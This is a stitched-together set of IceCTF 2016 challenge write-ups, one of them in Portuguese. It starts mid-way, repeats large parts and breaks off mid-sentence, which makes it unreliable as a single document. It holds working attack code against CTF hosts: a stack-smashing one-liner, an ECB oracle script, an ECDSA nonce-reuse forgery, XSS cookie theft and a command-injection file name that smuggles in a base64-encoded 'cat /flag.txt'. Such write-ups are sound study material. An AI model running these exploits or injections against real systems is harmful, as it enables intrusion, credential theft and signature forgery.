1kqgc7f6xza9dbakto3h58hin09x7pbh28tb288r4xrrrdshcymf6c5pgt03kfirpvc75aboptmn6qzuga4ka753wz5w0sokp1i8u787qklcecnhd0wp2l6i73wesuxsl958vsmobt0e4b24mycgk9e65vkk5xxp4es6hujivdgxonn5dsvb0y5hh5aj59vshz088981qccgzecq3xkg2hdpmbjntbrmd4zsdxfsl8kweabbt0a8n6bgaqafo2e1nibo74c28iaoi7r25k1l7y3sjec040ao54bdwtoohevijf8jc9n94h16kgr1fbzy15eoiu6j49pifo8qeu927ns34iq5409ws41iahkchnofhqjai2r7bpfsen9vwofpckwdsbjovinzn
$ openssl aes-256-cbc -a -d -in flag.enc -out flag.txtenter aes-256-cbc decryption password: [key]$ cat flag.txtIceCTF{cover_your_flags_in_mayonnaise_and_primes_guys}```
Great :-)
# Conclusion
This was a fun CTF, perfect for beginners. Good diversity and entertaining problems, no complicated problems that require no though and only large amounts of work or guessing. Some quirks with unintended vulnerabilities in some challenges along they way, but the organizers did a good job. |
# IceCTF Solutions
This page contains some of the challenges I solved during IceCTF '16.
## Reconnaissance & Forensics### Complacement (40 p)
```These silly bankers have gotten pretty complacent with their self signed SSL certificate. I wonder if there's anything in there. [complacent.vuln.icec.tf]```
### Time Traveler (45 p)
```I can assure you that the flag was on this website (http://time-traveler.icec.tf) at some point in time. ```
Let us try the Wayback Machine!
### Audio problems (45 p)```We intercepted this audio signal, it sounds like there could be something hidden in it. Can you take a look and see if you can find anything? ```
In Audacity, we can get the spectrum:
Feels like I've solved this very same problem a couple of times now... get creative problem makers!
##Web### Toke (45 p)
I have a feeling they were pretty high when they made this [website](http://toke.vuln.icec.tf)...
We create an account and look at the tokens. There is a `jwt_token`, containing
```eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmbGFnIjoiSWNlQ1RGe2pXN190MEszbnNfNFJlX25PX3AxNENFX2ZPUl81M0NyRTdTfSIsInVzZXIiOiIxMjM0YWEifQ.tfe4bqNnoRb2OOd7KV88qov5Y6oe55Cs2knKLo28Z7s```
Let us decode it! Among other things, we get ```IceCTF{jW7_t0K3ns_4Re_nO_p14CE_fOR_53CrE7S}```### Kitty (80 p)
```They managed to secure their website this time and moved the hashing to the server :(.We managed to leak this hash of the admin's password though!
c7e83c01ed3ef54812673569b2d79c4e1f6554ffeb27706e98c067de9ab12d1a.
Can you get the flag? [kitty.vuln.icec.tf]```
OK, trying the most simple and obvious... reversing the hash works! The password is `Vo83*`. If we login as `admin` with the password we found, we see:
```Your flag is: IceCTF{i_guess_hashing_isnt_everything_in_this_world}```##Pwn### Demo (55 p)
```I found this awesome premium shell, but my demo version just ran out... can you help me crack it? /home/demo/ on the shell. ```
This is probably not the intended solution. Trying to execute `_=icesh && ./demo` does not work in `zsh`, but it does in `sh`. This requires no spoofing for `argv[0]`, and thus no execve code. Less work!
```[ctf-67751@icectf-shell-2016 /home/demo]$ sh$ _=icesh && ./demo$ cat flag.txtIceCTF{wH0_WoU1d_3vr_7Ru5t_4rgV}```
### Smashing Profit! (60 p)
```Do you think you can make this program jump to somewhere it isn't supposed to? Where we're going we don't need buffers!
/home/profit/ on the shell. ```
OK, let us go to the shell. Not surprisingly, `profit` suffers from a buffer overflow. Loading the binary into Hopper, we see that there is a subroutine @ `0x804850b` which would be suitable to call:
Here is how to exploit the buffer overflow to call the above function:
```[ctf-67751@icectf-shell-2016 /home/profit]$ python -c 'print "A"*76 + "\x08\x04\x85\x0b"[::-1]' | ./profitSmashing the stack for fun and...?IceCTF{who_would_have_thunk?}[1] 25262 done python -c 'print "A"*76 + "\x08\x04\x85\x0b"[::-1]' | 25263 segmentation fault ./profit```
### Quine I/II (90p / 125p)
This was a really entertaining challenge. The first idea was based on a false assumption, i.e., that the outputted code in the final iteration was not checked. Let us sketch the idea anyways. If we are able to store some data outside the code, we are able to count the iterations without altering the code. The stored data could be in an environment variable (but that turned out to be infeasible) or a file (we could create, read and write files in the sandbox where the code was running).
So, in pseudo code:
```pythonif 'some_file' exists: c = read('some_file') c += 1 if c < 19: print flag with system() call write('some_file', c)else: create('some_file') write('some_file', 0)```We noticed that the code is located in `./sandbox/[random token]-[time]`, so maybe the flag is `../../flag.txt`. This is of course a guess (which turns out to be correct). Encoding the above pseudo code as a quine, we get something like
```cconst char d[]={125,59,10,35,105,110,99,108,117,100,101,32,60,115,116,100,105,111,46,104,62,10,105,110,116,32,109,97,105,110,40,41,123,70,73,76,69,32,42,102,59,102,61,102,111,112,101,110,40,34,103,34,44,34,114,98,43,34,41,59,105,102,40,102,61,61,78,85,76,76,41,102,61,102,111,112,101,110,40,34,103,34,44,34,119,98,34,41,59,99,104,97,114,32,98,61,102,103,101,116,99,40,102,41,59,102,99,108,111,115,101,40,102,41,59,102,61,102,111,112,101,110,40,34,103,34,44,34,119,43,34,41,59,105,102,40,98,60,49,57,41,123,98,43,43,59,102,112,117,116,99,40,98,44,102,41,59,125,101,108,115,101,123,102,61,102,111,112,101,110,40,34,102,108,97,103,34,44,34,114,34,41,59,98,61,102,103,101,116,99,40,102,41,59,119,104,105,108,101,40,98,33,61,69,79,70,41,123,112,114,105,110,116,102,40,34,37,99,34,44,98,41,59,98,61,102,103,101,116,99,40,102,41,59,125,125,102,99,108,111,115,101,40,102,41,59,112,114,105,110,116,102,40,34,99,111,110,115,116,32,99,104,97,114,32,100,91,93,61,123,34,41,59,105,110,116,32,105,59,102,111,114,40,105,61,48,59,105,60,115,105,122,101,111,102,40,100,41,59,105,43,43,41,123,112,114,105,110,116,102,40,34,37,100,44,34,44,100,91,105,93,41,59,125,102,111,114,40,105,61,48,59,105,60,115,105,122,101,111,102,40,100,41,59,105,43,43,41,112,117,116,99,104,97,114,40,100,91,105,93,41,59,114,101,116,117,114,110,32,48,59,125,10,};#include <stdio.h>int main(){FILE *f;f=fopen("g","rb+");if(f==NULL)f=fopen("g","wb");char b=fgetc(f);fclose(f);f=fopen("g","w+");if(b<19){b++;fputc(b,f);}else{f=fopen("flag","r");b=fgetc(f);while(b!=EOF){printf("%c",b);b=fgetc(f);}}fclose(f);printf("const char d[]={");int i;for(i=0;i<sizeof(d);i++){printf("%d,",d[i]);}for(i=0;i<sizeof(d);i++)putchar(d[i]);return 0;}```
Obviously, this did not work. New strategy needed! If we can guess a char of the flag and write the guess to the submitted code, then read the corresponding char from `../../flag.txt` it will accept if and only if they match. So, where do we put our guess? We could put it in a string, but a simpler solution is to write it to a comment. We know that the flag begins with `IceCTF{`, so we can try out our hypothesis and be sure that it is correct. The following code can generate a quine for a certain guess:
```pythonimport sysguess = 'I' # the first char of the flaglength = 1data = '''};#include <stdio.h>int main(){printf("const char d[]={");int i;for(i=0;i<sizeof(d);i++){printf("%d,",d[i]);}for(i=0;i<sizeof(d);i++)putchar(d[i]);FILE *f;f=fopen("../../flag.txt","r");printf("//");for(i=0;i<'''+str(length)+''';i++){char b=fgetc(f);printf("%c",b);};return 0;}'''quine = 'const char d[]={'+''.join(str(ord(c))+',' for c in data) + data.strip('\n')+'//'+guess```
We call it with
```$ python quine_gen.py 1 | cat quine.c | nc quine.vuln.icec.tf 5500...//I```
Now this is where things get interesting! The code obviously works for `I`, but even for incorrect guesses. Also, it prints as many chars of the flag as we like! Seemingly, the server check actually ignores comments, i.e., chars after `//`. So, by setting the read length (`length = sys.argv[1]`) sufficiently large, we can submit auto-generated code as follows:
```$ python quine_gen.py 32 | cat quine.c | nc quine.vuln.icec.tf 5500...//IceCTF{the_flags_of_our_quines}
$ python quine_gen.py 55 | cat quine.c | nc quine.vuln.icec.tf 5501...//IceCTF{my_f1x3d_p0inT_br1nGs_alL_th3_n00bs_t0_th3_y4rD}```
Great! Two challenges solved with two almost identical quines :-D
##Crypto### RSA? (50 p)
```John was messing with RSA again... he encrypted our flag! I have a strong feeling he had no idea what he was doing however, can you get the flag for us? flag.txt```
OK, let us see that `flag.txt` contains
```$ cat flag.txt
N=0x180be86dc898a3c3a710e52b31de460f8f350610bf63e6b2203c08fddad44601d96eb454a34dab7684589bc32b19eb27cffff8c07179e349ddb62898ae896f8c681796052ae1598bd41f35491175c9b60ae2260d0d4ebac05b4b6f2677a7609c2fe6194fe7b63841cec632e3a2f55d0cb09df08eacea34394ad473577dea5131552b0b30efac31c59087bfe603d2b13bed7d14967bfd489157aa01b14b4e1bd08d9b92ec0c319aeb8fedd535c56770aac95247d116d59cae2f99c3b51f43093fd39c10f93830c1ece75ee37e5fcdc5b174052eccadcadeda2f1b3a4a87184041d5c1a6a0b2eeaa3c3a1227bc27e130e67ac397b375ffe7c873e9b1c649812edcd
e=0x1
c=0x4963654354467b66616c6c735f61706172745f736f5f656173696c795f616e645f7265617373656d626c65645f736f5f63727564656c797d
```
John used exponent `0x1`, so m is enevitably the same as c. Therefore, solving this challenge is no harder than `libnum.n2s(c)`, which prints ```IceCTF{falls_apart_so_easily_and_reassembled_so_crudely}```### RSA (60 p)
```This time John managed to use RSA " correctly "&ellipsis; I think he still made some mistakes though. flag.txt ```
Let us take a look...
```$ cat flag.txt
N=0x1564aade6f1b9f169dcc94c9787411984cd3878bcd6236c5ce00b4aad6ca7cb0ca8a0334d9fe0726f8b057c4412cfbff75967a91a370a1c1bd185212d46b581676cf750c05bbd349d3586e78b33477a9254f6155576573911d2356931b98fe4fec387da3e9680053e95a4709934289dc0bc5cdc2aa97ce62a6ca6ba25fca6ae38c0b9b55c16be0982b596ef929b7c71da3783c1f20557e4803de7d2a91b5a6e85df64249f48b4cf32aec01c12d3e88e014579982ecd046042af370045f09678c9029f8fc38ebaea564c29115e19c7030f245ebb2130cbf9dc1c340e2cf17a625376ca52ad8163cfb2e33b6ecaf55353bc1ff19f8f4dc7551dc5ba36235af9758b
e=0x10001
phi=0x1564aade6f1b9f169dcc94c9787411984cd3878bcd6236c5ce00b4aad6ca7cb0ca8a0334d9fe0726f8b057c4412cfbff75967a91a370a1c1bd185212d46b581676cf750c05bbd349d3586e78b33477a9254f6155576573911d2356931b98fe4fec387da3e9680053e95a4709934289dc0bc5cdc2aa97ce62a6ca6ba25fca6ae366e86eed95d330ffad22705d24e20f9806ce501dda9768d860c8da465370fc70757227e729b9171b9402ead8275bf55d42000d51e16133fec3ba7393b1ced5024ab3e86b79b95ad061828861ebb71d35309559a179c6be8697f8a4f314c9e94c37cbbb46cef5879131958333897532fea4c4ecd24234d4260f54c4e37cb2db1a0
d=0x12314d6d6327261ee18a7c6ce8562c304c05069bc8c8e0b34e0023a3b48cf5849278d3493aa86004b02fa6336b098a3330180b9b9655cdf927896b22402a18fae186828efac14368e0a5af2c4d992cb956d52e7c9899d9b16a0a07318aa28c8202ebf74c50ccf49a6733327dde111393611f915f1e1b82933a2ba164aff93ef4ab2ab64aacc2b0447d437032858f089bcc0ddeebc45c45f8dc357209a423cd49055752bfae278c93134777d6e181be22d4619ef226abb6bfcc4adec696cac131f5bd10c574fa3f543dd7f78aee1d0665992f28cdbcf55a48b32beb7a1c0fa8a9fc38f0c5c271e21b83031653d96d25348f8237b28642ceb69f0b0374413308481
c=0x126c24e146ae36d203bef21fcd88fdeefff50375434f64052c5473ed2d5d2e7ac376707d76601840c6aa9af27df6845733b9e53982a8f8119c455c9c3d5df1488721194a8392b8a97ce6e783e4ca3b715918041465bb2132a1d22f5ae29dd2526093aa505fcb689d8df5780fa1748ea4d632caed82ca923758eb60c3947d2261c17f3a19d276c2054b6bf87dcd0c46acf79bff2947e1294a6131a7d8c786bed4a1c0b92a4dd457e54df577fb625ee394ea92b992a2c22e3603bf4568b53cceb451e5daca52c4e7bea7f20dd9075ccfd0af97f931c0703ba8d1a7e00bb010437bb4397ae802750875ae19297a7d8e1a0a367a2d6d9dd03a47d404b36d7defe8469```
We have d (and ϕ), so `libnum.n2s(pow(c,d,N))` gives ```IceCTF{rsa_is_awesome_when_used_correctly_but_horrible_when_not}```### RSA2 (60 p)
```I guess the 3rd time is the charm? Or not... flag.txt
$ cat flag.txt
N=0xee290c7a603fc23300eb3f0e5868d056b7deb1af33b5112a6da1edc9612c5eeb4ab07d838a3b4397d8e6b6844065d98543a977ed40ccd8f57ac5bc2daee2dec301aac508f9befc27fae4a2665e82f13b1ddd17d3a0c85740bed8d53eeda665a5fc1bed35fbbcedd4279d04aa747ac1f996f724b14f0228366aeae34305152e1f430221f9594497686c9f49021d833144962c2a53dbb47bdbfd19785ad8da6e7b59be24d34ed201384d3b0f34267df4ba8b53f0f4481f9bd2e26c4a3e95cd1a47f806a1f16b86a9fc5e8a0756898f63f5c9144f51b401ba0dd5ad58fb0e97ebac9a41dc3fb4a378707f7210e64c131bca19bd54e39bbfa0d7a0e7c89d955b1c9f
e=0x10001
c=0x3dbf00a02f924a70f44bdd69e73c46241e9f036bfa49a0c92659d8eb0fe47e42068eaf156a9b3ee81651bc0576a91ffed48610c158dc8d2fb1719c7242704f0d965f8798304925a322c121904b91e5fc5eb3dc960b03eb8635be53b995217d4c317126e0ec6e9a9acfd5d915265634a22a612de962cfaa2e0443b78bdf841ff901423ef765e3d98b38bcce114fede1f13e223b9bd8155e913c8670d8b85b1f3bcb99353053cdb4aef1bf16fa74fd81e42325209c0953a694636c0ce0a19949f343dc229b2b7d80c3c43ebe80e89cbe3a3f7c867fd7cee06943886b0718a4a3584c9d9f9a66c9de29fda7cfee30ad3db061981855555eeac01940b1924eb4c301
```
Looking up N on [factordb.com](http://factordb.com), we find that it has a very small factor 57970027. Hence, we may compute ϕ(N) = (57970027 - 1) × (N / 57970027 - 1). Finally, the secret exponent is d = e⁻¹ mod ϕ(N). Knowning this, we may decrypt c.
The code
```pythonphi = (57970027 - 1) * (N / 57970027 - 1)d = libnum.modular.invmod(e, phi)print libnum.n2s(pow(c, d, N))```
prints
```IceCTF{next_time_check_your_keys_arent_factorable}```
### l33tcrypt (90 p)
```l33tcrypt is a new and fresh encryption service. For added security it pads all information with the flag! Can you get it? nc l33tcrypt.vuln.icec.tf 6001 server.py```
The server AES encrypts a string S along with the flag and some padding and returns the BASE64 encoded, i.e., as outlined below.
```pythondef server(string): ciphertext = encrypt(string + flag + padding) return b64encode(ciphertext)```
The AES encryption function operates on blocks of size 128 bits. Assume that we have a block as follows, where we have padded the plaintext with `AAAAAAAAAAAAAAAA` and where `???...` corresponds to the flag. The last char in the block is the first byte of the flag.
```
... AAAAAAAAAAAAAAAA? ????????????????|----------------|-----------------|----------------|
0xb4ff343...
```
We save the current block value `0xb4ff343...`. Now, we run the guessing procedure:
```
... AAAAAAAAAAAAAAAAx ????????????????|----------------|-----------------|----------------|
x = 'G' 0x57388f8... x = 'H' 0x343409f... X = 'I' 0xb4ff343... <-- correct guess
```
Obviously, we can choose a block `AAAAAAAAAAAAAAA??` and guess the second byte and so forth until the whole flag is found. We may implement it in Python as follows:
```pythonimport base64, socket, string
magic = 'l33tserver please'
def oracle(plaintext): s = socket.create_connection(('l33tcrypt.vuln.icec.tf', 6001)) s.recv(1024) s.recv(1024) s.send(base64.b64encode(magic + plaintext) + '\n') s.recv(1024) return base64.b64decode(s.recv(1024)) known_prefix = 'IceCTF{'
print '[+] Running trying plaintexts...'
while True:
i = 16 * 4 - 2 - len(known_prefix)
reference = oracle(i * 'A')[0:80] for guess in '_' + string.ascii_letters + string.digits + '}': if reference == oracle(i * 'A' + known_prefix + guess)[0:80]: known_prefix = known_prefix + guess print known_prefix break if guess == '}': print '[+] DONE!' break```
The code takes some time to run (could be threaded for improved performance). When it is done, it will have given the flag ```IceCTF{unleash_th3_Blocks_aNd_find_what_you_seek}```### Over the Hill (65 p)
```Over the hills and far away... many times I've gazed, many times been bitten. Many dreams come true and some have silver linings, I live for my dream of a decrypted flag. crypted ```
We are given a matrix and a ciphertext
```pythonsecret = [[54, 53, 28, 20, 54, 15, 12, 7], [32, 14, 24, 5, 63, 12, 50, 52], [63, 59, 40, 18, 55, 33, 17, 3], [63, 34, 5, 4, 56, 10, 53, 16], [35, 43, 45, 53, 12, 42, 35, 37], [20, 59, 42, 10, 46, 56, 12, 61], [26, 39, 27, 59, 44, 54, 23, 56], [32, 31, 56, 47, 31, 2, 29, 41]] ciphertext = "7Nv7}dI9hD9qGmP}CR_5wJDdkj4CKxd45rko1cj51DpHPnNDb__EXDotSRCP8ZCQ"```
Looks like a Hill cipher... the name vaguely suggests it... :-)
```python
import numpyfrom sage.all import *
alphabet = ("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789_{}")n = len(alphabet)
Zn = IntegerModRing(n)
secret = [[54, 53, 28, 20, 54, 15, 12, 7], [32, 14, 24, 5, 63, 12, 50, 52], [63, 59, 40, 18, 55, 33, 17, 3], [63, 34, 5, 4, 56, 10, 53, 16], [35, 43, 45, 53, 12, 42, 35, 37], [20, 59, 42, 10, 46, 56, 12, 61], [26, 39, 27, 59, 44, 54, 23, 56], [32, 31, 56, 47, 31, 2, 29, 41]]
secret = matrix(Zn, secret).inverse()ciphertext = "7Nv7}dI9hD9qGmP}CR_5wJDdkj4CKxd45rko1cj51DpHPnNDb__EXDotSRCP8ZCQ"
blocks = [ciphertext[i : i + secret.ncols()] for i in range(0, len(ciphertext), secret.ncols())]
plaintext = ''
for block in blocks: decrypted_block = secret * matrix(Zn, [alphabet.find(c) for c in block]).transpose() plaintext += ''.join(alphabet[int(i[0])] for i in decrypted_block) print plaintext
```
Invoked with `sage -python over_the_hill.py` gives ```IceCTF{linear_algebra_plus_led_zeppelin_are_a_beautiful_m1xture}```### Round Rabins (70 p)
Breaking Rabin cryptosystem is hard if the primes were chosen properly. This is probably the flaw here, or the challenge would be computationally hard. Lets try [factordb.com](http://factordb.com). It reports that `N` is square. OK, great.
```python
import libnum
N = 0x6b612825bd7972986b4c0ccb8ccb2fbcd25fffbadd57350d713f73b1e51ba9fc4a6ae862475efa3c9fe7dfb4c89b4f92e925ce8e8eb8af1c40c15d2d99ca61fcb018ad92656a738c8ecf95413aa63d1262325ae70530b964437a9f9b03efd90fb1effc5bfd60153abc5c5852f437d748d91935d20626e18cbffa24459d786601c = 0xd9d6345f4f961790abb7830d367bede431f91112d11aabe1ed311c7710f43b9b0d5331f71a1fccbfca71f739ee5be42c16c6b4de2a9cbee1d827878083acc04247c6e678d075520ec727ef047ed55457ba794cf1d650cbed5b12508a65d36e6bf729b2b13feb5ce3409d6116a97abcd3c44f136a5befcb434e934da16808b0b
x = libnum.common.nroot(N, 2)assert(N == x ** 2)
```
The code passes, so we are fine. Now, how do we solve a modular square root in squared prime modulus x²? First of all, we can solve the simpler problem in the smaller field Zₓ. We can use for instance PARI/GP `factor(x^2 - Mod(c%p,p))`. We now have the square roots
```pythonm1 = 1197994153960868322171729195459307471159014839759650672537999577796225328187763637327668629736211144613889331673398920144625276893868173955281904541942494m2 = p - m1```
We now need to lift it to square modulus, i.e., m₁ mod x². We achieve this as follows
```pythonq = (c - m1 ** 2) / pl = q * libnum.modular.invmod(2 * m1, p)m = m1 + l * p
print libnum.n2s(m % N)```
Running this, we get the flag```IceCTF{john_needs_to_get_his_stuff_together_and_do_things_correctly}```### Contract (130 p)
```Our contractors stole the flag! They put it on their file server and challenged us to get it back. Can you do it for us? nc contract.vuln.icec.tf 6002 server.py. We did intercept someone connecting to the server though, maybe it will help. contract.pcapng ```
This is clearly a nonce reuse, which leads to a standard attack. First, we compute the secret value k = (z₁ - z2) × (s₁ - s2)⁻¹ using a signature pair. Then, using a single signature in conjunction with k, we may find d = (s₁ × k - z₁) × (r₁)⁻¹. All modular operations are performed mod n.Embodied in Python, the attack is performed as follows.
```pythonimport hashlib, libnum, binascii, socketfrom ecdsa import VerifyingKey, SigningKey
def send(message): s = socket.create_connection(('contract.vuln.icec.tf', 6002)) s.send(message + '\n') print s.recv(1024) print s.recv(1024) return
PUBLIC_KEY = '''-----BEGIN PUBLIC KEY-----MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEgTxPtDMGS8oOT3h6fLvYyUGq/BWeKiCBsQPyD0+2vybIT/Xdl6hOqQd74zr4U2dkj+2q6+vwQ4DCB1X7HsFZ5JczfkO7HCdYI7sGDvd9eUias/xPdSIL3gMbs26b0Ww0-----END PUBLIC KEY-----'''
vk = VerifyingKey.from_pem(PUBLIC_KEY.strip())n = vk.pubkey.order
help_cmd = 'help:c0e1fc4e3858ac6334cc8798fdec40790d7ad361ffc691c26f2902c41f2b7c2fd1ca916de687858953a6405423fe156cfd7287caf75247c9a32e52ab8260e7ff1e46e55594aea88731bee163035f9ee31f2c2965ac7b2cdfca6100d10ba23826'time_cmd = 'time:c0e1fc4e3858ac6334cc8798fdec40790d7ad361ffc691c26f2902c41f2b7c2fd1ca916de687858953a6405423fe156c0cbebcec222f83dc9dd5b0d4d8e698a08ddecb79e6c3b35fc2caaa4543d58a45603639647364983301565728b504015d'read_flag_cmd = 'read flag.txt'
msg1, sig1 = help_cmd.split(':')msg2, sig2 = time_cmd.split(':')z1 = int(hashlib.sha256(msg1).hexdigest(), 16)z2 = int(hashlib.sha256(msg2).hexdigest(), 16)r1 = int(sig1[0 : len(sig1)/2], 16)s1 = int(sig1[len(sig1)/2 : len(sig1)], 16)r2 = int(sig2[0 : len(sig2)/2], 16)s2 = int(sig2[len(sig2)/2 : len(sig2)], 16)
k = libnum.modular.invmod(s1 - s2, n) * (z1 - z2) % nd = (s1 * k - z1) * libnum.modular.invmod(r1, n) % nsk = SigningKey.from_secret_exponent(d, curve=vk.curve)
send(read_flag_cmd + ':' + binascii.hexlify(sk.sign(read_flag_cmd, hashfunc=hashlib.sha256)))```
Once run, the server responds ```IceCTF{a_f0rged_signatur3_is_as_g00d_as_a_real_1}```
### Flagstaff (160 p)
```Someone hid his flag here... guess we better give up.
nc flagstaff.vuln.icec.tf 6003 server.py ```
The task is to find a ciphertext which decrypts to `flag` + padding.
```pythonimport socket, base64
def send(commands): s = socket.create_connection(('flagstaff.vuln.icec.tf', 6003)) s.recv(1024) print s.recv(1024) for cmd in commands: print '>> Sending:', cmd s.send(cmd + '\n') data = s.recv(1024).strip('\n') s.recv(1024) return data
data = 'flag' + '\x0c' * 0xcencrypted = send(['decrypt', base64.b64encode(data + data)])c = base64.b64decode(encrypted)[0:16]data = send(['secret', base64.b64encode(c + data)])data = send(['decrypt', data])print 'FLAG:', base64.b64decode(data)```
Running the code, we get
```Send me a command: >> Sending: decrypt>> Sending: ZmxhZwwMDAwMDAwMDAwMDGZsYWcMDAwMDAwMDAwMDAw=Send me a command: >> Sending: secret>> Sending: gaugSIvRkYtiHvaA8LepemZsYWcMDAwMDAwMDAwMDAw=Send me a command: >> Sending: decrypt>> Sending: ZEkWhSKVwJ/Z8MQYzdMH6ZaHqAcoEKg4GxKzlHc7I4tDmi5tKnPGE3rm/D5ZJpHbHuxv8yNCNqLVU0g7yOSi7Ic3xgP7Ke7kEADYzQQGtsc=FLAG: IceCTF{reverse_all_the_blocks_and_get_to_the_meaning_behind}```
### Attack of the Hellman! (200 p)
```We managed to intercept a flag transmission but it was encrypted :(. We got the Diffie-Hellman public key exchange parameters and some scripts they used for the transmission along with the encrypted flag.
Can you get it for us? ````
According to the scripts, the secret A is generated properly. What about B? If it is small enough (say, less than N), we can use a time-memory trade-off (or meet-in-the-middle). Such a trade-off requires O(√N) time and the same magnitude of memory.
```pythonimport base36
p=0x113b7d158a909efadc7216ca15fd51c419eb41ab108e0aa1d45da70c78185593d44bdb402476181c008ef36bc5378b0ad4c868ca4ed4f754c3c1b1f0891bcd8ad7d3db07251de90f4362cb5895f836eec8851d3fe3d68083db8a63053ec4078a55df017f1d43393f3aa2a453bb334417671731731e1e7687c77d104ff76aed523b6980831a4c4b55d74c4de77462d9a596ce7fcb3090d0abb8f94989c1b3701e533ebd722c855fba9ff17d64ce9b3306841157ee49b1c1fb3a38c93b9faaa84efcfdceba923b73b8682835ca322a1350bcc322d7eb34259d8302f55157c2c5d72c8aebb7b57f9f08809ee034258cf2e3c8e0982a155b72fdc79432eceb83b49d9g=0xa9074b6e6d5bba3d024b90eeaee1f5b969fee32c5c25b91698755450509a8beb4100b046c9c6601981e208bc6e505aa67fdd224eff829a8cd8ebc1267c2cb4192b18ab1bcf5dba908e2cd849be038b5d52d5cf836eed63ee54fab1838a7152361a298bbeab3cc2d6f2b84097622fa5493dca99b4b6a648dcc886b607a8dc9590d995cf2e1f24ac5f277a2260d34410dc3b832ed6dc4928e92dfa8a807ddbdf77574d7bb34a45ca08bb7c8b89aa1fd1380abcbd75f99d3e819da9617356b650f9cc21ccffe913b09ca547967bb12feedbdb97730ccff09cc63aab6f6fc7b33392211da29bf32538b38a514cad4ea271e97618e39b0ab7cb152499093b7afbae2fA=0x18776a5cf81fc30572aa9682dfb2f7d606e8073de536853dd9be8a391261dcca6cebea2a2b1337f2a057d238152729cea6983a8ef2b111d8096f212db771229830e2e6d4839a37355d4efb265183f199cd573fa99a38183e7ee3cc7fdac7c92078b6c1535b142965379f1c7e73d5a95725dfb75749529a687bf9b7e01a0b4511a05d96999608c2527a0308f2360d26706233d451f62edc8f2e76fde85c631b601d12a828657efe65aba78fccd46d79a84bc3380da71fad6472d9e666fd99fbd7c154555501b608d4cef875099e037eef3712a5e3108f95c1e01b2a8f0961569c77738a459b65b0ac39109b30ab3226d7b92a1db080a99bbb86f6e96266b13df7B=0xbecd8332380e8c0f3969602e4924473ade119dad5fe6f2d9582dc8196ae85dfa80fab3c001f8bea1ca6c63b9f8f264742beaede2bd11c86bf4d6a0fa7df1dd84da318a7142f2228dbb8dd37a5a3c5a772dd2c744184a41743f4286ba2ccfa431c1571cd63a9ee1bb398b4dd09ccaa426b37f72f4452c2f37a96634e8d6604362e2836891818e9744f00323ade93e10aa1785cc1865fff57ec5caacf74b11ebed16384613145a2e33141a9523252b952cf0eb9c33914d067b66a2a03133f044f336efee054eec905dfa14af970f556b44c52e3814e0914a2393bb56da5aca7b88c45fcaf02f76fc9718746c15901b8ea86801f0b07eca7385dd1cb6991e65e421
table = {}S = 0
print '[-] Generating table...'
for i in range(0, 2**33, 2**20): # sufficient bounds table[pow(g, i, p)] = i
print '[-] Performing look-up in table...'
for i in range(0, 2**18): B = (B * g) % p if B in table: print ' >> B = g ^', table[B] - i S = pow(A, table[B] - i, p) break
print '[+] Key found:\n\n', base36.dumps(S), '\n'```
I saved the code as `hellman.py` and did the following terminal magic:
```$ python hellman.py [-] Generating table...[-] Performing look-up in table... >> B = g ^ 4856995548[+] Key found:
1kqgc7f6xza9dbakto3h58hin09x7pbh28tb288r4xrrrdshcymf6c5pgt03kfirpvc75aboptmn6qzuga4ka753wz5w0sokp1i8u787qklcecnhd0wp2l6i73wesuxsl958vsmobt0e4b24mycgk9e65vkk5xxp4es6hujivdgxonn5dsvb0y5hh5aj59vshz088981qccgzecq3xkg2hdpmbjntbrmd4zsdxfsl8kweabbt0a8n6bgaqafo2e1nibo74c28iaoi7r25k1l7y3sjec040ao54bdwtoohevijf8jc9n94h16kgr1fbzy15eoiu6j49pifo8qeu927ns34iq5409ws41iahkchnofhqjai2r7bpfsen9vwofpckwdsbjovinzn
$ openssl aes-256-cbc -a -d -in flag.enc -out flag.txtenter aes-256-cbc decryption password: [key]$ cat flag.txtIceCTF{cover_your_flags_in_mayonnaise_and_primes_guys}```
Great :-)
# Conclusion
This was a fun CTF, perfect for beginners. Good diversity and entertaining problems, no complicated problems that require no though and only large amounts of work or guessing. Some quirks with unintended vulnerabilities in some challenges along they way, but the organizers did a good job. |
# ImgBlog
O desafio apresentava um blog simples, onde era possivel ler os comentarios, se cadastrar e postar comentarios nos posts, em cada comentário havia um botão para reportar caso o comentario fosse ofensivo.
Nos comentários era possivel o ataque XSS, conseguimos roubar o cookie do administrador, clicando em report depois de postar o seguinte comentario:
```document.write('')```
Feito isso, assumindo o login de admin, era apresentado uma opção a mais no menu de um form de upload, logo na primeira tentativa, era possivel notar que o sistema utilizava o binário file, com isso conseguimos executar comandos, utilizando o char **;**
```'lol.jpg;echo Y2F0IC9mbGFnLnR4dAo=|base64 -d'```
E então, na mensagem de erro, a flag era exibida
```File is not an image: /uploads/loljpg: cannot open `/uploads/loljpg' (No such file or directory) IceCTF{why_would_you_use_shell_commands_in_your_web_app_plz_stop}``` |
# IceCTF Solutions
This page contains some of the challenges I solved during IceCTF '16.
## Reconnaissance & Forensics### Complacement (40 p)
```These silly bankers have gotten pretty complacent with their self signed SSL certificate. I wonder if there's anything in there. [complacent.vuln.icec.tf]```
### Time Traveler (45 p)
```I can assure you that the flag was on this website (http://time-traveler.icec.tf) at some point in time. ```
Let us try the Wayback Machine!
### Audio problems (45 p)```We intercepted this audio signal, it sounds like there could be something hidden in it. Can you take a look and see if you can find anything? ```
In Audacity, we can get the spectrum:
Feels like I've solved this very same problem a couple of times now... get creative problem makers!
##Web### Toke (45 p)
I have a feeling they were pretty high when they made this [website](http://toke.vuln.icec.tf)...
We create an account and look at the tokens. There is a `jwt_token`, containing
```eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmbGFnIjoiSWNlQ1RGe2pXN190MEszbnNfNFJlX25PX3AxNENFX2ZPUl81M0NyRTdTfSIsInVzZXIiOiIxMjM0YWEifQ.tfe4bqNnoRb2OOd7KV88qov5Y6oe55Cs2knKLo28Z7s```
Let us decode it! Among other things, we get ```IceCTF{jW7_t0K3ns_4Re_nO_p14CE_fOR_53CrE7S}```### Kitty (80 p)
```They managed to secure their website this time and moved the hashing to the server :(.We managed to leak this hash of the admin's password though!
c7e83c01ed3ef54812673569b2d79c4e1f6554ffeb27706e98c067de9ab12d1a.
Can you get the flag? [kitty.vuln.icec.tf]```
OK, trying the most simple and obvious... reversing the hash works! The password is `Vo83*`. If we login as `admin` with the password we found, we see:
